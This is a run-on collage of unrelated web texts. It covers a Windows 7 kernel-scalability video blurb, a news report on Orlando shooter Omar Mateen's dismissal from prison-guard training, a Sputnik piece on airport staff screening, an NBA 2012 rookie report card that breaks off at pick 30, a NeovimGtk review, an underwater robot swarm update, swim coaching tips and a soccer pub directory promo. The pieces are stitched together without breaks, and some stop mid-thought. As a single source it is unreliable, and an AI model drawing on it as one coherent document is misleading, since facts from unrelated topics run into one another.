As we learned in the Mark Russinovich video, Windows 7 can now scale to 256 processors thanks to the great engineering of Arun Kishan, a kernel architect you've met on C9 back in the Vista days. In order to promote further scalability of the NT kernel, Arun completely eliminated the dispatcher lock and replaced it with a much finer grained set of synchronization primitives. Gone are the days of contention for a single spinlock. How did Arun pull this off, exactly, you ask? Who is this genius? Well, tune in. Lots of answers await…
Arun's work directly benefits the overall performance of Windows running on many processors and means, simply, Windows can now really scale. Thank you, Arun!
Spinlocks are synchronization primitives that cause a processor to busy-wait until the state of the lock’s memory location changes.
PORT ST. LUCIE, Fla. — Orlando gunman Omar Mateen failed as a prison guard because he was booted from the state’s training academy after talking about bringing a gun to class, according to documents discovered late Friday by the Florida Department of Corrections.
Earlier this week, prison officials said Mateen was “administratively dismissed” in 2007, but did not give specifics on why he never received his certification to continue working as a correctional officer.
A hand search of department archives, prison officials said Friday, produced another dozen pages of records.
Among them was a memo from a warden recommending that Mateen be dismissed from the program for sleeping in class, being absent without permission and, “most disturbing,” asking a fellow student whether he would report him if he were to bring a gun to class.
“In light of recent tragic events at Virginia Tech officer Mateen’s inquiry about bringing a weapon to class is at best extremely disturbing,” wrote P.H. Skipper, then warden at the Martin Correctional Institute where Mateen, a cadet, was assigned.
A memo reveals a Florida prison warden’s concern about Omar Mateen, almost 10 years before the Orlando nightclub rampage. (Florida Department of Corrections) More
His dismissal came days after the April 16, 2007, tragedy at Virginia Tech, where 32 people were killed. It was the deadliest mass shooting by a lone gunman in recorded U.S. history until last Sunday, when Mateen attacked Pulse nightclub, a popular gay bar in Orlando. Police say Mateen fatally shot 49 people and injured 53 others before he was killed in a shootout with officers.
Mateen, a longtime private security guard, aspired to work in law enforcement.
When he applied to be a state prison guard 10 years ago, his highest recommendation came from a police officer in his hometown.
“Omar’s character is beyond reproach,” Port St. Lucie Officer Steven Brown wrote in a letter to the Florida Department of Corrections. “Omar’s judgment, work ethic, sensibility, and problem solving ability are impeccable.”
The officer ended his endorsement of Mateen by saying, “I would sleep soundly at night knowing that a person like Omar is protecting us [from] the element which resides behind your concrete and [steel] walls.”
The letter — among dozens of documents released from Mateen’s short stint as a prison guard — is chilling in light of Sunday’s massacre, and adds yet another layer to the complicated portrait of the killer that is still emerging.
Some former teachers and classmates have recalled the Orlando shooter as a hothead who celebrated the 9/11 terror attacks as a high school student. But a handful of neighbors and acquaintances, like Brown, thought enough of Mateen at one time to declare that he would do well in law enforcement.
“Absolutely,” former neighbor John Updegrave wrote on a recommendation form. “Omar is very good candidate for an officer.”
Another former Port St. Lucie neighbor said Omar was “always willing to give a hand if needed.”
Brown told prison officials that he had known Mateen for three years, having met the teenager at Gold’s Gym and a nutrition store where Mateen worked.
“Omar does possess a character which would compliment [sic] the requirements of a Correctional Officer,” Brown wrote in 2006.
Mateen was a provisional guard at Martin Correctional Institution in central Florida for six months before being terminated for not finishing the academy and acquiring his state certification.
RELATED – Victims of the Orlando Pulse nightclub shooting >>>
Brown, who is still a Port St. Lucie officer, declined to comment for this story.
“He informed me that he did not wish to speak to or give any interviews on the matter,” said Master Sgt. Frank Sabol, a spokesman for the Port St. Lucie Police Department.
Authorities say Mateen, who was born in New York to Afghan parents, pledged his allegiance to radical Islamic terrorists during the Orlando rampage.
Sources briefed on the FBI’s investigation have said Mateen watched Islamic State terrorist videos — including some showing brutal beheadings — and talked to co-workers about them.
© AP Photo / David Goldman No Bombs Found on Planes at Atlanta Airport After Threats on Twitter
MOSCOW, February 4 (Sputnik) — US airports do not check the criminal history of their employees, the FBI's Deputy Assistant Director of Counterterrorism Gary Perdue confirmed Wednesday.
At Tuesday's hearing, the chairman of the Subcommittee on Transportation Security, John Katko, asked US transportation authorities whether it was true that airports did not check the criminal history of their workers after they had passed initial background checks.
"That is correct from my knowledge," Perdue said, as quoted by the CNN.
© AP Photo / Nam Y. Huh US Department of Homeland Security to Increase Airport Security Measures
The announcement came a day after a CNN investigation revealed that most US airports allow employees access to airplanes and the tarmac without security screenings. Investigation showed that only two major airports in the country, namely Miami International Airport and Orlando International Airport, make their employees pass through metal detectors.
During the hearing, members of the Subcommittee criticized existing loopholes in airport security and discussed ways to reduce potential insider threats posed by employees. The head of the Transportation Security Administration Mark Hatfield, however, said that physical screening of all airport employees was "cost prohibitive."
By Ben Golliver
The members of the 2012 draft class are just a few weeks away from the end of their rookie seasons. Rob Mahoney examined the development of several rookies Tuesday. Now, let’s go player by player through the first round to assess how the top 30 picks have fared. Letter grades are given for all players who have played at least 450 minutes this season; all others receive an incomplete. (All stats and records are through Tuesday.)
1. Anthony Davis, Hornets: A-
13.2 PPG, 8 RPG, 1 APG, 1.8 BPG, 1.1 SPG in 56 games
Here’s a simple question for those expressing disappointment about Davis’ rookie campaign, which has included injury setbacks and, perhaps, more modest numbers than many expected: Does he really look like anything other than a superstar in the making? Davis, who just turned 20, possesses a Player Efficiency Rating (PER) of 21.6 (the league average is 15), tops among rookie starters and second only to Pistons reserve center Andre Drummond's 22.4 for first-year players. Even though he will likely be filling out his frame for the next half-decade, Davis has performed very well around the rim, taking almost 50 percent of his shots there and finishing 70.6 percent of them. His length, which made a mockery of the NCAA last year, has translated well to the pro game and it’s especially effective when he’s on the move, either cutting baseline or heading toward the hoop after setting a high screen. Staying with a player that mobile and long is essentially impossible for a solid chunk of NBA defenders.
His defensive impact is already being felt and will only become more noticeable as the Hornets improve and as his overall strength increases. Opponents have found success posting him up, but he’s far from the typical rookie big man who is susceptible to being picked on.
Overall, Davis would earn a solid “A” if not for his absences from the lineup. Again, this boils down to expectations. Franchise players over the last 10 years or so have evolved to a freakish level of durability. LeBron James, Kevin Durant, Kobe Bryant, Dwight Howard, Russell Westbrook, James Harden and others have all played a vast, vast majority of their team’s games since achieving recognition as a key contributor. The standard for greatness is a high bar, but it’s the only measure that makes sense for a player with Davis’ gifts.
2. Michael Kidd-Gilchrist, Bobcats: B
8.9 PPG, 5.5 RPG, 1.6 APG, 1 BPG in 67 games
Kidd-Gilchrist is half-pedestrian, half-amazing. Few players are so ineffective offensively and yet so widely respected. He is essentially only a credible threat to score when in transition, but all 30 general managers would kill to have the chance to enjoy the fruits of his growth. That’s the paradox created by a 19-year-old forward with nice size, strength, quickness, length and the top motor in his class. It’s not a stretch to say that he is the prototype for a modern elite defender.
Now, about the offense. He treats the three-point line as if it’s off limits -- he's shot just nine threes all season -- and he’s yet to find an area of real strength, other than dunking, as he struggles in the post, in pick-and-roll situations and as a spot-up shooter. His poor marksmanship is exacerbated by the fact that he’s not really a threat to distribute off the dribble. His mission for next season is to find a way -- any way -- to force defenses to respect him. Big picture, the fact that Kidd-Gilchrist is half-amazing makes him a full half more amazing than just about everyone else on the Bobcats’ roster. This is the last guy in Charlotte you need to fret about, even if he has a long way to go.
3. Bradley Beal, Wizards: B+
13.9 PPG, 3.8 RPG, 2.4 APG in 54 games
Beal’s supporters are surely petitioning Basketball-Reference.com to list his numbers as “With John Wall” and “Without John Wall.” No other rookie has been subject to such a dramatic tale of two seasons, as his most efficient scoring play types -- spot-up shooting and transition -- have been transformed by the presence of a real point guard. The fact that Beal couldn’t hit the broad side of a barn until January throws off all of his percentages, but he’s managed to climb back to a quasi-respectable PER of 13.6 and raise his three-point shooting to a very respectable 37.7 percent.
Not yet 20, Beal has a bright future, and the Wizards’ team performance since Wall’s return has flipped the mood in the nation’s capital. Watching these two feel out each other’s games over the next few seasons will be a joy to watch. Beal can continue to improve as an initiator in pick-and-roll situations, but, more important, he needs to develop a better comfort level attacking the basket and finishing in traffic if he is going to track toward elite 2-guard status.
4. Dion Waiters, Cavaliers: B-
14.7 PPG, 3 APG, 2.4 RPG, 1 SPG in 57 games
Waiters leads all rookies in usage rate despite being a 41.1 percent shooter and 31.6 percent three-point shooter. Unscientifically, he leads all rookies in terrible shots, too. But the raw tools are intriguing: He can create a shot in a flash, he’s rarely afraid of the moment, he can get deep into the paint, he draws 4.5 fouls per 36 minutes and he can get hot.
The backcourt pairing with point guard Kyrie Irving makes sense, in theory, but right now it badly tilts against Waiters, as more often than not he gives off the impression that he’s doing too much on offense and not nearly enough on defense. If he reins in some of the shot-selection issues, continues to look to set up drive-and-kick opportunities for shooters and concentrates his efforts on getting to the line, he could emerge as a dynamic offensive weapon. That’s a lot of "ifs," though, making an arc toward a microwave bench scorer a pretty realistic possibility.
5. Thomas Robinson, Rockets (drafted by Kings): C-
4.8 PPG, 4.6 RPG, 0.4 BPG in 63 games
Robinson’s name was synonymous with the words “NBA ready” last spring and yet the NBA is here, waiting, and he’s not made a real impact. Some voices have already emerged, ready to write him off. But rushing to dismiss him would be a mistake, as the dysfunction permeates everyone, even the brightest of prospects, in Sacramento. That said, the biggest red flag to date is that while Robinson is totally reliant on in-the-paint opportunities for his offense, he hasn’t distinguished himself as a reliable scorer around the hoop. Thought to be a fearsome finisher who would command real defensive attention, Robinson has been, mostly, an ineffective afterthought.
The Rockets offered Robinson a new lease on life at the trade deadline, an opportunity he surely welcomed. He’ll be in a position to compete for a starting spot next season, pending any major free-agent or trade additions. The up-and-down Houston style should play to his strengths as an athlete. If he has to settle in as a high-energy, glass-cleaning reserve, that’s an acceptable backup plan, too. Let’s give him another season before we judge too harshly.
is leading all rookies in minutes played by a large margin. (Sam Forencich/NBAE via Getty Images) Damian Lillard is leading all rookies in minutes played by a large margin. (Sam Forencich/NBAE via Getty Images)
6. Damian Lillard, Blazers: A
19.1 PPG, 6.5 APG, 3.2 RPG in 70 games
The surefire Rookie of the Year has made the most of an incredibly advantageous situation. He entered the NBA with a no-nonsense attitude and tons of experience running the pick-and-roll, and he landed in Portland, where a first-year coach (Terry Stotts) was more than willing to give him the keys. Lillard has appeared in all 70 games and logged 2,703 minutes (38.6 per game), more than 900 more than any other 2012 draft pick. The Blazers have posted an above-average offense with Lillard at the helm and they’ve hung around the outskirts of the Western Conference playoff chase longer than just about everyone, including team management, expected.
There are areas for potential improvement. Lillard is a tad jumper-happy, launching more than six threes per game. Like a number of big-time point guards before him, he’ll need to ramp up his ability to get to the free-throw line as he ages. He’s far more accomplished on the offensive end than the defensive end. Lillard will turn 23 in July, making him one of the oldest players in this class. That’s raised questions about his ceiling, given that he’s older than Irving and Wall, and nearly as old as fourth-year point guard Jrue Holiday of Philadelphia. Optimists see him as a certain All-Star, while pessimists are more likely to peg him as a solid starter. More immediately, he gives the Blazers a real chance to make the playoffs in 2013-14 (assuming their longshot bid falls short this season).
7. Harrison Barnes, Warriors: B+
9.2 PPG, 3.9 RPG, 1.2 APG in 71 games
Let’s take a long moment to acknowledge Barnes, the only full-time starter for a projected playoff team among the 2012 first-round picks. Only 20, Barnes has held up playing more than 25 minutes a game thanks to his excellent physique and top-notch work ethic. Barnes looked and carried himself like a pro as a high school senior and nothing has changed now that he is one. While he’s unleashed his big-time hops on a few occasions, Barnes is really at his best as an auxiliary, spot-up option. His shooting has been decent but there’s room for improvement, especially in his mid-range game.
It’s quite possible that his reputation soon becomes that of a lockdown, defense-first perimeter stopper. He’s smart, long, quick and disciplined, and he’s rebounded fairly well for a young wing. Barnes has all the makings of a long-term pro and he’s still young enough that he could emerge as a dynamic offensive threat, which is what many people forecast when he was a highly ranked prep star. He’s part of a talented, stable core in Golden State -- with Stephen Curry, David Lee and Klay Thompson – so anything besides steady development would be a surprise.
8. Terrence Ross, Raptors: C
6.4 PPG, 2 RPG, 0.6 SPG in 64 games
The Slam Dunk Contest champion finishes a fast break with more style and grace than anyone else in his draft class, but there’s not much else to like about his body of work. He’s not a multifaceted playmaker for others and he doesn’t get to the free-throw line, leading many of his possessions to end with low-efficiency looks. The Raptors try to move him around and make things easier for him, which does work to a degree, but he will need to extend his shooting range for that to pay real dividends.
Exactly how and where he fits in the suddenly crowded Toronto wing rotation is a key question heading into next season. Not much about GM Bryan Colangelo’s roster construction makes sense, so Ross’ role is only one of a number of questions facing the Raptors. This likely isn’t the best set of circumstances for his development.
Andre Drummond posted a rookie-best 22.3 PER before going down with a back injury. (Issac Baldizon/NBAE via Getty Images) Andre Drummond posted a rookie-best 22.3 PER before going down with a back injury. (Issac Baldizon/NBAE via Getty Images)
9. Andre Drummond, Pistons: A-
7.3 PPG, 7.5 RPG, 1.7 BPG in 50 games
Drummond is pure intrigue, addicting intrigue. He might very well have been the league leader in causing observers to scream for him to get more playing time, more touches, more media attention, more, more, more. Before going down with a back injury in February (an injury from which he’s yet to return), Drummond posted a rookie-best PER of 22.4 and compiled per-36 minute averages of 13.3 points, 13.7 rebounds, 3.1 blocks and 1.7 steals. Those are eye-popping numbers that signal All-Star potential, given that he’s still 19.
A big-bodied center with excellent athleticism, Drummond knows what he does best. More than 95 percent of his field-goal attempts have come in the basket area and he finishes nearly two-thirds of them, often with emphatic dunks. It must be noted that his offense is predicated on someone setting him up, but he knows exactly what to do with a dump pass and a second-chance opportunity. Those high-percentage looks helped drive his PER, and his presence on the court significantly improved the offensive efficiency of coach Lawrence Frank's team. And, yes, the lowly Pistons were better defensively with him on the court, too, as he effectively clogs the paint simply by being out there.
We might never know why Drummond had his playing time crimped in what was clearly a rebuilding year, and it’s not clear whether management and the current coaching staff will be retained next season. But whoever runs the show in 2013-14 will have to realize that Drummond’s potential is far and away the best thing this franchise has going for it.
10. Austin Rivers, Hornets: F
6.2 PPG, 2.1 APG, 1.8 RPG in 61 games
It’s virtually impossible to assess Rivers’ rookie season without piling on. The numbers are just abysmal. Rivers, who has been out since breaking his hand on March 6, ranks last among qualified rookies with a PER of 6. He is shooting just 37.2 percent from the field. He has made only 40 percent of his shots at the rim, converted a below-average 32.6 percent from three-point range and hit 54.6 percent at the free-throw line. Gulp.
Eric Gordon’s unexpected absence definitely had the effect of throwing Rivers to the wolves. Playing for one of the NBA’s worst teams didn’t help, either, as he often found himself trying to create in isolation situations, where he performed exceedingly poorly. To make matters worse, Rivers has already had two surgeries since draft night. The upside here is that he’s still not 21 and the Hornets will ask much less of him next season, assuming Gordon is healthy. That’s a good thing, because he broke under the weight of the load this year.
11. Meyers Leonard, Blazers: C
4.6 PPG, 3.4 RPG, 0.6 BPG in 57 games
Stotts, seeing that his team could remain competitive as long as he relied almost exclusively on his starters, cut Leonard’s minutes before the end of November. A midseason ankle injury also sidelined Leonard for three weeks. This hasn’t been a completely lost season, though, as the youthful-looking, youthful-acting Leonard has gotten his feet wet, finding that he’s capable of turning his physical assets into highlight dunks with sufficient regularity.
Past the power slams, it’s been hit and miss. Leonard struggles with defensive awareness, to put it kindly, as he can often be seen employing a panorama approach to isolation defense, completing a full 360-degree spin as he hopelessly tries to find the ball. Billed as a face-up threat on offense, Leonard hasn’t reliably shown that type of range, although he’s gotten more confident in pulling the trigger as the season has progressed.
Given his importance to the Blazers’ future, Leonard was underutilized this season. In an ideal world, he would have developed enough as a rookie to make a strong play for the starting job next season. Now, the Blazers enter free agency with their center spot as a question mark.
12. Jeremy Lamb, Thunder (drafted by Rockets): Incomplete
2.2 PPG, 0.5 RPG, 0.1 APG in 20 games
Lamb hasn’t gotten the chance to show he is or isn’t more than another potentially valuable asset in GM Sam Presti's war chest. The scoring guard has played more than 10 minutes only twice, owing to the depth (Thabo Sefolosha, Kevin Martin, DeAndre Liggins, Reggie Jackson and now, sadly, Derek Fisher) in front of him. The Thunder acquired him in the James Harden blockbuster but might eventually decide that he is more valuable as a trade commodity than as a player. For now, Lamb’s affordable rookie contact and the fact that he appeared to have significant upside coming out of UConn provides a fall-back plan for OKC as it considers Martin’s fate in free agency this summer.
A pass-first point guard, A pass-first point guard, Kendall Marshall is averaging 5.9 assists per 36 minutes played. (Layne Murdoch Jr./NBAE via Getty Images)
13. Kendall Marshall, Suns: C-
2.6 PPG, 2.1 APG, 0.7 RPG in 37 games
It’s important to avoid letting a player’s fit and situation take center stage in an evaluation, but Marshall’s exceedingly rough circumstances in Phoenix are an unavoidable part of his narrative. Things have imploded in the desert, leaving a rookie coach to handle one of the least talented rosters in the NBA. Alvin Gentry’s departure and Lindsey Hunter’s arrival meant more burn for Marshall, but the results have been middling.
Of this, there can be no question: Marshall has the vision and timing to thread the needle like few other NBA players. Unfortunately, his poor shooting is a serious detriment, and he hasn’t gotten to the hoop with any regularity. His PER of 6.8 is second worst among qualified rookies. The Suns’ offensive efficiency, already performing at a league-worst level, falls off a cliff when he’s at the controls. Clearly, he needs talent surrounding him if his brand of pass-first, pass-second, pass-third point-guard play is going to have a chance to work.
14. John Henson, Bucks: C
5.5 PPG, 4 RPG, 0.5 BPG in 54 games
Because Henson's playing time has fluctuated a lot, his body of work isn’t exactly definitive. Henson has used his 7-5 wingspan to put up impressive rebounding numbers (12.3 per 36 minutes) while creating second-chance opportunities for himself. Three-quarters of his shot attempts have come in the basket area but he’s finishing them at just an average rate, something you would hope to see improve as he ages and adds some upper-body strength. In theory, he should develop into a legitimate lob target on every possession. If that doesn’t happen, it’s not clear how he will help on the offensive end.
Defensively, it’s hard to carve out a niche as a shot-blocking presence when you’re on the same roster as Larry Sanders, but that’s still the goal for this near 7-footer. The Bucks perform about the same defensively with and without him, which is a good place to start for any rookie big man.
15. Moe Harkless, Magic (drafted by Sixers): B-
7.2 PPG, 4.4 RPG, 1.2 SPG in 65 games
It’s difficult to be an efficient wing player in the NBA as a teenager and Harkless isn’t. He possesses a below-average PER (13.1), his plus-minus is quite unsightly and he holds an average or below-average shooting percentage from all 13 zones tracked by NBA.com. He lacks NBA range to open up his offense and isn’t yet a player you trust in one-on-one situations. However, Harkless is a sneakily effective off-ball offensive weapon, using well-timed cuts to catch defenders napping and putting his solid athletic tools to work in receiving all types of passes and creating enough space to finish around the hoop. There’s promise on the defensive end, too. The 19-year-old has untapped potential, but his shooting will have to improve.
16. Royce White, Rockets: F
Zero games
It’s a tricky balancing act, but it is possible to respect and appreciate what White is going through with regard to his mental health advocacy while also being cognizant of these harsh facts: He’s the only 2012 first-round pick not to appear in an NBA game this season (thus earning himself an "F," not an "Incomplete"), and he’s caused more public relations headaches than all other 29 guys listed here combined (and it’s not close … at all).
White said recently that NBA and Rockets officials “want him gone,” and it’s fair to believe that not many franchises would have stuck with him this long. Right now, it’s easier to envision White out of the NBA come September 2014 (after the second and final guaranteed year of his contract expires) than it is to see him as a productive professional. The road has just been that rocky.
Is White a lost cause? The future looks quite dim at the moment, but the fact that Andray Blatche has a PER of 22.5 one year after being cast off and amnestied provides the slightest trace of “never say never” hope. There are a number of non-mental health questions that need to be considered. Is White in NBA shape? Will the Rockets have any room in the rotation for him next season? Houston will remain reticent until the end, but isn’t it reasonable to believe that the bridges with the coaching staff have already been compromised, if not burned? Those are all major impediments to success.
17. Tyler Zeller, Cavaliers: C
7.9 PPG, 5.9 RPG, 1.4 APG in 64 games
Forced into a starting role by virtue of a season-ending injury to Anderson Varejao, Zeller has found himself in water that’s simply too deep. He’s a legit 7-footer, but not particularly strong. He’s a comfortable mid-range shooter, but hasn’t been a very successful one. And he’s the “backbone” of what’s been one of the worst defenses in the NBA. His effort and attitude can’t be questioned, but that’s not always enough to make for a useful player.
Areas for improvement include basically everything that involves strength: isolation defense, rim protection and his back-to-the-basket offense, to name three. Some of that might never come, which makes it all the more important that he becomes a knockdown face-up shooter. The rebuilding Cavaliers aren’t in a huge hurry and should allow their Zeller project time to play out.
has struggled to find minutes in a crowded Rockets frontcourt. (Layne Murdoch/NBAE via Getty Images) Terrence Jones has struggled to find minutes in a crowded Rockets frontcourt. (Layne Murdoch/NBAE via Getty Images)
18. Terrence Jones, Rockets: Incomplete
3.1 PPG, 1.6 RPG, 0.4 BPG in 11 games
The Harden acquisition changed everything for the Rockets, accelerating their timeline and shifting their emphasis from developing during a rebuilding year to making a playoff push. The 21-year-old Jones surely would have seen more freedom and chances in a Harden-less world, but he’s had to settle for recording six double-doubles in the D-League. Jones is best suited to play the stretch 4, but Robinson's arrival by trade and 2011 first-round pick Donatas Motiejunas' emergence could make it difficult to find time next season. Jones' raw talent and physical gifts beg for an enterprising general manager to come calling for a trade, but the cap-flexible, on-the-upswing Rockets are positioned to be picky sellers.
19. Andrew Nicholson, Magic: B+
8 PPG, 3.4 RPG, 0.5 APG in 65 games
Things have broken right in Orlando for Nicholson, who has emerged as both the most productive and efficient non-lottery pick in the 2012 class. Nicholson is one of only five first-rounders -- along with Drummond, Davis, Henson and Lillard -- to post an above-average PER (15.5), and he’s shooting 53.5 percent. His spot-up mid-range shooting keeps defenses honest and he is fairly comfortable in the post, especially against smaller defenders, uncorking a hook shot far more often than your average 6-9 forward. The Magic have struggled on defense all season, and though Nicholson isn’t a stopper, he’s not the weakest link, either.
Nicholson is already 23 and his physical talent isn't overwhelming, two factors that could limit his upside. Still, Orlando shouldn’t hesitate in buying out Hedo Turkoglu with an eye toward increasing Nicholson’s playing time and growth possibilities next season.
20. Evan Fournier, Nuggets: Incomplete
3.1 PPG, 0.5 RPG, 0.7 APG in 29 games
It’s no crime that Fournier, a slender 20-year-old Frenchman, hasn’t been able to crack the rotation, given Denver’s uber-deep bench and championship aspirations. His numbers are subject to both sample size and garbage-time disclaimers. He’s a willing shooter, standstill and off the dribble, but he’s yet to be truly tested.
21. Jared Sullinger, Celtics: C
6 PPG, 5.9 RPG, 0.5 BPG in 45 games
Sullinger has gone through an intense yo-yo of expectations over the last few years, and it only seems right that his rookie grade falls smack dab in the middle. Red-flagged for medical reasons, Sullinger started to produce with reasonable consistency in January, only to have season-ending surgery on his back in February. Evaluating the undersized power forward involves weighing the good (10.7 rebounds per 36 minutes at age 20) with the bad (it took only three months for the medical concerns to rear their ugly head). His offense has come as promised, by hitting the glass and hanging around the basket area waiting for dump-offs; his lack of length, considered a major bugaboo, didn’t prevent the Celtics from having very good defensive-efficiency numbers with him on the court.
Though his on-court contributions merit a higher grade, the first criterion for judging Sullinger from here on out is whether he is able to stay on the court. Last thought: There’s offensive talent that went untapped this season that could prove valuable down the road.
22. Fab Melo, Celtics: Incomplete
1 PPG, 0.2 RPG, 0.4 BPG in five games
What's the bigger indictment of Melo's rookie campaign: that his top highlight was either breaking a chair by sitting on it or giving himself a concussion by running into a door frame, or that Shavlik Randolph, who hadn't appeared in an NBA game since April 2010 and was playing in China this season, saw more action in his first two games after signing a 10-day contract in March than the center from Syracuse has played all season?
ranks fifth among rookies in three point shooting percentage. (Bruce Bennett/Getty Images) John Jenkins ranks fifth among rookies in three point shooting percentage. (Bruce Bennett/Getty Images)
23. John Jenkins, Hawks: B-
5.3 PPG, 1.5 RPG, 0.7 APG in 54 games
Jenkins’ scoring and shooting pedigree have found a nice home in Atlanta. The Hawks lost Lou Williams to a season-ending knee injury and traded offense-for-defense in moving Anthony Morrow for Dahntay Jones, opening up a nice role for Jenkins, who is shooting 39.3 percent on three-pointers. A classic corner-three monster, Jenkins finds his looks in both half-court settings and in secondary transition, where his quick, confident release can beat napping defenders. The advanced numbers don’t treat him very kindly on either end, and his efficiency dwindles when he’s asked to put the ball on the floor, but he should have a future as a spot-up sharpshooter.
24. Jared Cunningham, Mavericks: Incomplete
2.0 PPG, 0.4 RPG, 0.1 SPG in eight games
There didn't look to be many minutes available for Cunningham out of the gate in Dallas and that proved accurate, as O.J. Mayo has received the lion's share of the playing time at shooting guard. Cunningham has put up points during his D-League assignments but he's yet to do so efficiently, shooting only 33.5 percent in 15 games for the Texas Legends. Cunningham happens to be the only member of Dallas' current backcourt group under contract next season, with Mayo, Anthony Morrow, Darren Collison, Rodrigue Beaubois and Mike James all headed for free agency.
25. Tony Wroten, Grizzlies: Incomplete
2.8 PPG, 1.4 APG, 0.9 RPG in 31 games
Wroten has found himself as the fifth man in a four-man guard rotation in Memphis. His shaky jumper and decision-making were the concerns coming out of Washington and his field-goal percentage (38.6) and turnover rate (3.9 turnovers per 36-minutes) are in line with those expectations. The Grizzlies face a contract decision with Tony Allen this summer that will go a long way in determining Wroten's opportunities in the short term. Just 19 and blessed with good athleticism and the ability to pressure the ball on defense, Wroten will require patience. In the meantime, put him in the class of "guys who could randomly put up huge numbers at summer league."
26. Miles Plumlee, Pacers: Incomplete
0.6 PPG, 1.7 RPG, 0.3 BPG in 12 games
Plumlee's selection in the first round raised plenty of eyebrows and the fact that he hasn't yet made a field goal outside of the restricted area should raise them even further. He fits into Indiana's general aesthetic of hard work and high energy, but it's impossible to watch Indiana's possessions in which he has the ball in his hands without screaming: "Pass it as soon as possible!" Rebounding his own missed shots just might be his best asset. A meaningful leap next season seems fairly unlikely for Plumlee, who will turn 25 before training camp.
27. Arnett Moultrie, Sixers: Incomplete
3.1 PPG, 2.8 RPG, 0.2 BPG in 36 games
Shocker: Coach Doug Collins stuck tightly to his veteran big men in the absence of Andrew Bynum. Moultrie, acquired from the Heat in a draft-day dump, had season highs of 14 points and eight rebounds in a loss to the Jazz on Wednesday. A full 70 percent of his shot attempts have come in the restricted area, bolstered by a number of second-chance opportunities, but Moultrie is comfortable setting screens away from the hoop and diving or stepping out for mid-range jumpers, too. He plays with high energy and Sixers fans are right to complain about his limited action in a season that went south quickly.
Considered a steal on draft day, Considered a steal on draft day, Perry Jones III has been limited to garbage time this season. (Layne Murdoch/NBAE via Getty Images)
28. Perry Jones III, Thunder: Incomplete
2.1 PPG, 1.5 RPG, 0.3 APG in 35 games
The Thunder are so deep and talented that playing time is hard to come by for 21-year-old prospects, even one like Jones, who was regarded as a 2012 draft-day steal. He fits right in among the long and athletic forwards in Oklahoma City, but he'll have to settle for mop-up duty in blowouts for the foreseeable future with all of this year's front line (Kevin Durant, Serge Ibaka, Kendrick Perkins, Nick Collison and Hasheem Thabeet) under contract through at least 2014-15.
29. Marquis Teague, Bulls: Incomplete
2.3 PPG, 1.4 APG, 1 RPG in 43 games
Teague never got the trial-by-fire treatment in Derrick Rose's absence because coach Tom Thibodeau has turned to Kirk Hinrich and Nate Robinson to run the show. It's easy to see why. Chicago's offense has struggled with Teague and his turnovers often jump out as being more careless than average. Short-term expectations were minimal considering his age when he was drafted, 19, and Rose's place as the franchise's centerpiece. Teague's older brother, Jeff, didn't make a real impact in Atlanta until his third season, and now he looks like a starter for years to come. Chicago really only needs Marquis to be a competent backup down the road, and that possibility is definitely still on the table.
30. Festus Ezeli, Warriors: B
Back in October Kade Killary wrote, A Killer GUI For Neovim: VimR. VimR is an excellent Neovim GUI on macOS but ever since reading the article I’ve been meaning the write about the Neovim GUI I use on Linux: NeovimGtk.
NeovimGtk doesn’t have quite as many bells and whistles as VimR (yet) but it does have a few. Like VimR, it’s a native application (no Electron, etc.). It’s developed in Rust, and as the name implies uses the GTK toolkit to feel right at home on a GNOME desktop. NeovimGtk is not limited to Linux though. The project explicitly supports Windows as well, and should build anywhere where Rust and GTK are available. I was able to build it successfully on OpenBSD.
I am a huge fan of the PragmataPro font, and one of NeovimGtk’s killer features for me is support for font ligatures. This means it renders text with wonderful typographic beauty.
NeovimGtk displaying Rust code in PragmataPro with ligatures.
Ligature support was what initially drew me to NeovimGtk but since I’ve started using it, its creator, daa84, and a handful of contributors have added several more features.
There is a file/project picker to open recent files and projects (directories). Checking the check box on a directory makes that item always available in the list for quick access.
The file/project picker.
One of the more recent additions was a plugin manager. It lists installed vim plugins and allows news ones to be added. Behind the scenes it uses the excellent vim-plug.
Plugin manager.
Another recent addition enabled support for wide glyphs. PragmataPro has a few of these in the non-Mono variant of the font. The extra width is used to make the glyph more legible. This makes devicons and Neomake warnings render nicely.
A double wide warning symbol next to a line with a compiler warning.
Native controls are used for the tab bar and pop-up menus.
Native pop-up menu.
Native tabs.
So if you’re a Neovim user on Linux I can certainly recommend you check out NeovimGtk. Installation currently requires building from source. However for Arch Linux users I have created an AUR package for easy installation.
Update 1 Jan 2018: It was pointed out on Reddit that NeovimGtk runs on Windows too, so I changed the title of this post from, “A Killer Linux GUI For Neovim: NeovimGtk”, to “A Cross Platform GUI For Neovim: NeovimGtk”
The EU-funded Collective Cognitive Robotics (CoCoRo) project has built a swarm of 41 autonomous underwater vehicles (AVs) that show collective cognition. Throughout 2015 – The Year of CoCoRo – we’ll be uploading a new weekly video detailing the latest stage in its development. This week’s video shows Lily robots individually demonstrating behavior to enable coherent global swarming.
For a swarm it is crucial that the robots stay together. One method of achieving this is to generate a “virtual fence” around the swarm, as we have already demonstrated with various “confinement” videos in the Year of CoCoRo (weeks 17-19). Besides those methods, it helps if the robots can stay together – like a school of fish, a flock of birds or a swarm of mosquitos. We wanted to mimic these simple individual actions to produce a coherent, global swarming behavior.
The classic approach to coaching young swimmers is to allow them to use long fins or Zoomers to keep their bodies high in the water and moving forward. However, the ability to swim without these aides is becomes more important in the long run and is very evident on race day. So what are some alternatives? In reality, they may be simpler than you’d expect.
Body line is the X-factor for young swimmers. The ability to breathe without raising and lowering their head will help to keep the hips high in the water, which increases efficiency and, therefore, endurance. A center-mount snorkel is a good short-term solution to the issue because it keeps their face in the water and reduces their concerns about oxygen. Once they are comfortable keeping their head down and hips high, the ability to teach proper technique is much easier and the learning curve is much less steep. The Jr. or Youth Snorkels work best for small swimmers, although the Sr. Swimmer’s Snorkel is also a great tool for larger swimmers of all abilities.
Another tool that may be helpful for producing high hips and an engaged core is the Alignment Kickboard. This is not your traditional foam board in that it is much smaller is less buoyant than the board we are used to seeing. It is designed to sit just inches below the surface and to allow for single-arm swimming or streamline/in-line kicking. As your swimmers get used to the Board, they will find that they are able to slip one hand under the strap and complete flip turns and underwater streamlines as well. This is a great tool for body position because the Alignment Board does not pull the body out of its natural position and also allows all the limbs to move freely. This is extremely useful for children who are learning the basics of stroke technique and efficiency.
Built not only to help fans of the beautiful game find every soccer-friendly bar, pub, and restaurant in the US and Canada, it also provides essential information — hours, channels, supporters, and what’s on the menu — to help you choose the right spot for your watching needs.
With over 500 listings in 49 states (come on, Wyoming) and 5 provinces, the WSOTP Soccer Pub Atlas gathers information on all of our listings from soccer supporters like you. That way you have in-depth, first-hand information at your disposal, such as:
Directions to each location.
